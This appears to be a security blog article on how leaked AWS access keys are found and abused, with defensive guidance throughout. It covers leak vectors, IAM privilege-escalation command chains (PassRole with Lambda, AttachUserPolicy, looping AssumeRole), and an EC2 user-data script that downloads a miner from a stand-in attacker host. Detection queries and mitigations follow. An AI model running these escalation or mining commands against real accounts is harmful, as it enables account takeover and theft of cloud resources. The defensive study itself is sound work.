AWS publishes a statistic that should terrify every engineering team: when a valid AWS access key is committed to a public GitHub repository, automated scanners detect and attempt to use it in an average of 4 minutes. In documented cases, the first unauthorized API call has occurred within seconds of the git push.

Cloud credential theft is not a sophisticated nation-state technique. It is commodity automation running 24 hours a day against every public code repository, package registry, and CI/CD log endpoint on the internet. Understanding how these attacks work — the exact IAM privilege escalation chains, the specific services attackers abuse, and the detection signals that give you a chance to respond — is essential for anyone operating in AWS.

How Keys Leak: The Exposure Vectors

Vector 1: Git Commits (The Most Common)

 1# Developer accidentally hardcodes credentials in application config
 2cat config.py
 3# AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
 4# AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
 5
 6git add config.py
 7git commit -m "add AWS config"
 8git push origin main  # <- Key is now public
 9
10# Even after removal:
11git log -p -- config.py  # Key is visible in history

Vector 2: Environment Files Committed

1# .env files containing credentials pushed alongside application code
2cat .env
3# AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
4# AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
5# DB_PASSWORD=supersecret
6
7# .gitignore missing or .env added explicitly
8echo ".env" >> .gitignore  # Too late after first push

Vector 3: CI/CD Pipeline Logs

CI/CD systems often print environment variables during debugging. Build logs for public repositories on GitHub Actions, CircleCI, and Travis CI are publicly visible:

1# Dangerous CI pattern — debug step that dumps env
2- name: Debug environment
3  run: env  # Prints ALL environment variables including AWS_*

Vector 4: Docker Images

1# Keys baked into Docker image layers
2FROM python:3.11
3ENV AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
4ENV AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
5
6# Even if removed in a later layer:
7# docker history shows all layers
8# docker save exports all layers including intermediate ones

Vector 5: npm Packages

Security researchers at GitGuardian regularly discover credentials embedded in npm packages — sometimes in minified JavaScript, sometimes in test fixtures, and sometimes in package.json scripts.

Automated Scanners Finding Your Keys

The attacker side of this problem involves tools that continuously monitor public data sources:

  • git-rob / truffleHog: Scans git history with regex and entropy-based detection
  • gitleaks: Fast git secret scanner with pre-commit hook integration
  • GitGuardian: Commercial SaaS monitoring GitHub, GitLab, Bitbucket in real time
  • Bucket-stream: Monitors Certificate Transparency logs for new S3 bucket names
  • Custom AWS credential regex: Pattern AKIA[0-9A-Z]{16} identifies IAM access key IDs with high confidence

Scanning for Exposed Credentials

Defense Side: Find Leaked Keys Before Attackers Do

 1# Install truffleHog
 2pip install truffleHog
 3
 4# Scan a git repository including history
 5trufflehog git https://github.com/yourorg/yourrepo.git \
 6  --only-verified \
 7  --json | python3 -m json.tool
 8
 9# Scan local repository
10trufflehog git file://. --only-verified
11
12# Install gitleaks
13brew install gitleaks   # or download from GitHub releases
14
15# Scan current repo including all history
16gitleaks detect --source . --report-format json --report-path gitleaks-report.json
17
18# Scan for AWS keys specifically
19git log -p | grep -E 'AKIA[0-9A-Z]{16}'
20
21# Scan all branches
22for branch in $(git branch -r | grep -v HEAD); do
23  git log -p $branch | grep -E '(AKIA|ASIA)[0-9A-Z]{16}'
24done

The 4-Minute Attack Timeline

AWS security research and incident response data paint a consistent picture of what happens after a key is exposed:

TimeEvent
T+0sDeveloper pushes commit with embedded key to public GitHub repo
T+4s–4mAutomated scanner detects the AKIA... pattern in the commit
T+4m–15mAttacker calls sts:GetCallerIdentity to validate the key and identify the account
T+15m–30mEnumerate IAM permissions using iam:ListAttachedUserPolicies, iam:GetPolicy
T+30m–1hEscalate privileges through IAM chains or directly deploy resources if permissions allow
T+1h–4hCryptocurrency mining infrastructure deployed, or data exfiltration begins
T+hours–daysVictim discovers unauthorized bill or GuardDuty alert

IAM Privilege Escalation Chains

Reconnaissance: Enumerate What the Key Can Do

 1# Validate the key and get account context
 2aws sts get-caller-identity
 3
 4# List all policies attached to the current user
 5aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
 6
 7# Use enumerate-iam tool for comprehensive permission discovery
 8# https://github.com/andresriancho/enumerate-iam
 9pip install enumerate-iam
10enumerate-iam.py \
11  --access-key AKIAIOSFODNN7EXAMPLE \
12  --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
13  --region us-east-1

Escalation Path 1: iam:PassRole + lambda:CreateFunction

This is one of the most common escalation chains. The attacker does not need direct IAM write access:

 1# Step 1: Find a high-privilege role that can be passed
 2aws iam list-roles --query 'Roles[?contains(RoleName, `admin`) || contains(RoleName, `full`)].{Name:RoleName,Arn:Arn}'
 3
 4# Step 2: Create a Lambda function passing the high-privilege role
 5aws lambda create-function \
 6  --function-name escalation-test \
 7  --runtime python3.12 \
 8  --handler index.handler \
 9  --role arn:aws:iam::123456789012:role/AdminRole \
10  --zip-file fileb://function.zip
11
12# Step 3: The Lambda function payload extracts its own credentials
13# (function code would call boto3.client('sts').get_caller_identity()
14#  and exfiltrate the temporary credentials with admin access)
15
16# Step 4: Invoke the function and capture the output
17aws lambda invoke \
18  --function-name escalation-test \
19  --payload '{}' \
20  output.json && cat output.json

Escalation Path 2: iam:AttachRolePolicy

 1# If the compromised key can attach policies:
 2aws iam attach-user-policy \
 3  --user-name attacker-controlled-user \
 4  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
 5
 6# Or create and attach a custom policy
 7aws iam create-policy \
 8  --policy-name escalation \
 9  --policy-document '{
10    "Version": "2012-10-17",
11    "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
12  }'
13
14aws iam attach-user-policy \
15  --user-name current-user \
16  --policy-arn arn:aws:iam::123456789012:policy/escalation

Escalation Path 3: sts:AssumeRole Pivot

 1# Check which roles the current principal can assume
 2aws iam simulate-principal-policy \
 3  --policy-source-arn arn:aws:iam::123456789012:user/developer \
 4  --action-names sts:AssumeRole \
 5  --resource-arns arn:aws:iam::123456789012:role/*
 6
 7# Attempt to assume roles that haven't been explicitly restricted
 8for role in $(aws iam list-roles --query 'Roles[].Arn' --output text | tr '\t' '\n'); do
 9  aws sts assume-role \
10    --role-arn $role \
11    --role-session-name test 2>/dev/null && echo "SUCCESS: $role"
12done

Cryptocurrency Mining Deployment Pattern

After establishing administrative access, the fastest monetization path is cryptocurrency mining:

 1# Typical attacker playbook after privilege escalation:
 2
 3# 1. Launch spot instances in multiple regions (minimize cost, maximize compute)
 4for region in us-east-1 us-west-2 eu-west-1 ap-southeast-1; do
 5  aws ec2 run-instances \
 6    --region $region \
 7    --instance-type c5.4xlarge \
 8    --image-id ami-0abcdef1234567890 \
 9    --count 20 \
10    --user-data '#!/bin/bash
11      curl -L https://attacker.com/xmrig -o /tmp/miner
12      chmod +x /tmp/miner
13      /tmp/miner -o pool.attacker.com:4444 -u wallet -p x &' \
14    --instance-initiated-shutdown-behavior terminate
15done
16
17# 2. Request spot fleet for even more compute
18aws ec2 request-spot-fleet \
19  --spot-fleet-request-config file://spot-fleet-config.json

A single c5.4xlarge instance running XMRig can mine approximately 2,000-3,000 H/s of Monero. Twenty instances across four regions provide significant mining capacity at the victim’s expense. AWS billing for this pattern commonly exceeds $10,000–$50,000 before the victim notices.

Detection

GuardDuty Findings

GuardDuty is the primary detection control for compromised IAM credentials. Key findings to monitor:

 1# List active GuardDuty findings filtered by severity
 2aws guardduty list-findings \
 3  --detector-id $(aws guardduty list-detectors --query DetectorIds[0] --output text) \
 4  --finding-criteria '{
 5    "Criterion": {
 6      "severity": {"Gte": 7},
 7      "service.archived": {"Eq": ["false"]}
 8    }
 9  }' \
10  --query FindingIds \
11  --output json
12
13# Get finding details
14aws guardduty get-findings \
15  --detector-id $(aws guardduty list-detectors --query DetectorIds[0] --output text) \
16  --finding-ids <FINDING_ID> \
17  --query 'Findings[*].{Type:Type,Severity:Severity,Title:Title,Account:AccountId}'

Critical finding types for credential compromise:

  • UnauthorizedAccess:IAMUser/MaliciousIPCaller — API call from known malicious IP
  • UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B — console login from unusual location
  • CryptoCurrency:EC2/BitcoinTool.B — EC2 instance connecting to mining pool
  • Discovery:IAMUser/AnomalousBehavior — unusual IAM enumeration activity
  • Impact:IAMUser/AnomalousBehavior — unusual resource creation pattern

CloudTrail Queries

 1# Detect console login from unusual geography
 2aws cloudtrail lookup-events \
 3  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
 4  --start-time $(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ) \
 5  --query 'Events[*].{Time:EventTime,User:Username,Source:CloudTrailEvent}' \
 6  --output json | python3 -c "
 7import sys, json
 8events = json.load(sys.stdin)
 9for e in events:
10    event_data = json.loads(e['Source'])
11    response = event_data.get('responseElements', {})
12    login_result = response.get('ConsoleLogin', '')
13    source_ip = event_data.get('sourceIPAddress', '')
14    if login_result == 'Success':
15        print(f'Login: {e[\"User\"]} from {source_ip} at {e[\"Time\"]}')
16"
17
18# Detect IAM privilege escalation attempts
19aws cloudtrail lookup-events \
20  --lookup-attributes AttributeKey=EventName,AttributeValue=AttachRolePolicy \
21  --start-time $(date -u -d '7 days ago' +%Y-%m-%dT%H:%M:%SZ) \
22  --query 'Events[*].{Time:EventTime,User:Username,Resource:Resources[0].ResourceName}'
23
24# Detect new IAM users or access keys created (persistence)
25for event in CreateUser CreateAccessKey CreateLoginProfile; do
26  echo "--- $event ---"
27  aws cloudtrail lookup-events \
28    --lookup-attributes AttributeKey=EventName,AttributeValue=$event \
29    --start-time $(date -u -d '48 hours ago' +%Y-%m-%dT%H:%M:%SZ) \
30    --query 'Events[*].{Time:EventTime,User:Username}' \
31    --output table
32done

IAM Access Analyzer

 1# Enable IAM Access Analyzer
 2aws accessanalyzer create-analyzer \
 3  --analyzer-name account-analyzer \
 4  --type ACCOUNT
 5
 6# List findings (externally accessible resources)
 7aws accessanalyzer list-findings \
 8  --analyzer-arn arn:aws:access-analyzer:us-east-1:123456789012:analyzer/account-analyzer \
 9  --query 'findings[*].{Resource:resource,Type:resourceType,Status:status}' \
10  --output table

Defense and Mitigation

Control 1: Pre-commit Hooks to Prevent Key Commits

 1# Install gitleaks as a pre-commit hook
 2cat > .git/hooks/pre-commit << 'EOF'
 3#!/bin/bash
 4gitleaks detect --staged --redact
 5if [ $? -ne 0 ]; then
 6  echo "ERROR: Potential secrets detected. Commit blocked."
 7  exit 1
 8fi
 9EOF
10chmod +x .git/hooks/pre-commit
11
12# Or use pre-commit framework
13pip install pre-commit
14cat > .pre-commit-config.yaml << 'EOF'
15repos:
16  - repo: https://github.com/gitleaks/gitleaks
17    rev: v8.18.0
18    hooks:
19      - id: gitleaks
20EOF
21pre-commit install

Control 2: AWS Secrets Manager Integration

Replace hardcoded credentials and environment variables with Secrets Manager calls:

 1import boto3
 2import json
 3
 4
 5def get_secret(secret_name: str, region: str = "us-east-1") -> dict:
 6    """Retrieve a secret from AWS Secrets Manager at runtime."""
 7    client = boto3.client("secretsmanager", region_name=region)
 8    response = client.get_secret_value(SecretId=secret_name)
 9    return json.loads(response["SecretString"])
10
11
12# Usage — no credentials in source code
13db_creds = get_secret("production/database/credentials")
14db_password = db_creds["password"]

Control 3: Immediate Key Rotation Playbook

 1#!/bin/bash
 2# Incident response: Leaked key response playbook
 3# Usage: ./rotate-key.sh AKIAIOSFODNN7EXAMPLE
 4
 5COMPROMISED_KEY=$1
 6ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 7
 8echo "[1] Disabling compromised key..."
 9# Find user associated with key
10USER_NAME=$(aws iam list-users --query "Users[?UserName!=null].UserName" --output text | \
11  xargs -I{} sh -c "aws iam list-access-keys --user-name {} --query \"AccessKeyMetadata[?AccessKeyId=='${COMPROMISED_KEY}'].UserName\" --output text" | \
12  grep -v '^$' | head -1)
13
14aws iam update-access-key \
15  --access-key-id "$COMPROMISED_KEY" \
16  --status Inactive \
17  --user-name "$USER_NAME"
18echo "    Key $COMPROMISED_KEY disabled for user $USER_NAME"
19
20echo "[2] Checking for resources created by this key (last 24h)..."
21aws cloudtrail lookup-events \
22  --lookup-attributes AttributeKey=AccessKeyId,AttributeValue="$COMPROMISED_KEY" \
23  --start-time $(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ) \
24  --query 'Events[*].{Time:EventTime,Event:EventName,Resource:Resources[0].ResourceName}' \
25  --output table
26
27echo "[3] Check for new IAM principals created..."
28aws iam list-users --query 'Users[?CreateDate>`'"$(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ)"'`].{Name:UserName,Created:CreateDate}' --output table
29
30echo "[4] Check for new EC2 instances..."
31aws ec2 describe-instances \
32  --filters "Name=instance-state-name,Values=running,pending" \
33  --query 'Reservations[].Instances[?LaunchTime>`'"$(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ)"'`].{ID:InstanceId,Type:InstanceType,Launch:LaunchTime}' \
34  --output table
35
36echo "Playbook complete. Review output before deleting key."
37echo "Delete when ready: aws iam delete-access-key --access-key-id $COMPROMISED_KEY --user-name $USER_NAME"

Control 4: SCPs Restricting Regions and Services

 1{
 2  "Version": "2012-10-17",
 3  "Statement": [
 4    {
 5      "Sid": "AllowOnlyApprovedRegions",
 6      "Effect": "Deny",
 7      "Action": "*",
 8      "Resource": "*",
 9      "Condition": {
10        "StringNotEquals": {
11          "aws:RequestedRegion": ["us-east-1", "us-west-2", "eu-west-1"]
12        }
13      }
14    },
15    {
16      "Sid": "DenyLargeEC2Instances",
17      "Effect": "Deny",
18      "Action": "ec2:RunInstances",
19      "Resource": "arn:aws:ec2:*:*:instance/*",
20      "Condition": {
21        "StringLike": {
22          "ec2:InstanceType": ["*.metal", "c5.12xlarge", "c5.18xlarge", "c5.24xlarge"]
23        }
24      }
25    }
26  ]
27}

Control 5: MFA on Root and Sensitive Actions

 1# Enforce MFA for all console logins via IAM policy condition
 2cat << 'EOF'
 3{
 4  "Version": "2012-10-17",
 5  "Statement": [
 6    {
 7      "Sid": "DenyWithoutMFA",
 8      "Effect": "Deny",
 9      "NotAction": [
10        "iam:CreateVirtualMFADevice",
11        "iam:EnableMFADevice",
12        "iam:GetUser",
13        "iam:ListMFADevices",
14        "iam:ListVirtualMFADevices",
15        "iam:ResyncMFADevice",
16        "sts:GetSessionToken"
17      ],
18      "Resource": "*",
19      "Condition": {
20        "BoolIfExists": {
21          "aws:MultiFactorAuthPresent": "false"
22        }
23      }
24    }
25  ]
26}
27EOF

MITRE ATT&CK Mapping

  • T1552.001 — Unsecured Credentials: Credentials in Files: AWS keys stored in source code or configuration files.
  • T1078.004 — Valid Accounts: Cloud Accounts: Use of legitimately obtained cloud credentials.
  • T1496 — Resource Hijacking: Using compromised cloud accounts to mine cryptocurrency.
  • T1548.005 — Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access: IAM privilege escalation chains.

References